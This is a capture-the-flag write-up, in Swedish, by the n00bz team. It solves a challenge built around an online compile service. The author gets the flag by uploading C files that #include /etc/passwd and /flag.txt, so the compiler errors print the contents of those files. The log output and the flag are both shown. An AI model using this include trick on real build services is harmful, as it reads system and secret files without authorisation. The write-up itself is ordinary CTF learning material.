Hönan och Ägget

Kategori

Övriga

Beskrivning

Har du ofta problemet att din processorkraft är för svag? Och att program du kompilerar tar för lång tid att kompilera? Testa då vår alldeles egna kompileringstjänst! Flaggan återfinnes i /flag.txt.

Lösning

Går man in på utmaningssidan så får vi ett gränssnitt där vi kan ladda upp en fil som ska kompileras.

Compiler Service 3000

Vi kan testa att ladda upp en textfil och se vad som händer.

make: Nothing to be done for 'test'.

Här kan vi se att make körs på filen som vi laddade upp. Vi kan testa att ladda upp en C-fil och se vad som händer.

#include<stdio.h>

int main(void) {
    printf("Hello World\n");
    return 0;
}

I loggen kan vi nu se att koden har kompilerats utan problem.

cc hello.c -o hello

Provar vi att inkludera /etc/passwd i vår C-fil så kan vi se att den inkluderas men ger fel i kompileringen.

#include<stdio.h>
#include "/etc/passwd"

int main(void) {
    printf("Hello World\n");
    return 0;
}
cc     hello.c   -o hello
hello.c:1:10: error: #include expects "FILENAME" or <FILENAME>
    1 | #include /etc/passwd
      |          ^
make: *** [<builtin>: hello] Error 1
cc     hello.c   -o hello
In file included from hello.c:1:
/etc/passwd:1:5: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘:’ token
    1 | root:x:0:0:root:/root:/bin/bash
      |     ^
<SNIP>

Eftersom innehållet i filen skrivs ut i loggen så kan vi inkludera /flag.txt i vår C-fil för att få ut flaggan.

#include<stdio.h>
#include "/flag.txt"

int main(void) {
    printf("Hello World\n");
    return 0;
}
cc     hello.c   -o hello
In file included from hello.c:1:
/flag.txt:1:9: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘{’ token
    1 | cratectf{HenMakesEggEggMakesHenHenMakesEgg}
      |         ^
make: *** [<builtin>: hello] Error 1

Flaggan är cratectf{HenMakesEggEggMakesHenHenMakesEgg}.

n00bz

Home of the n00bz CTF team.


By n00bz, 2024-11-17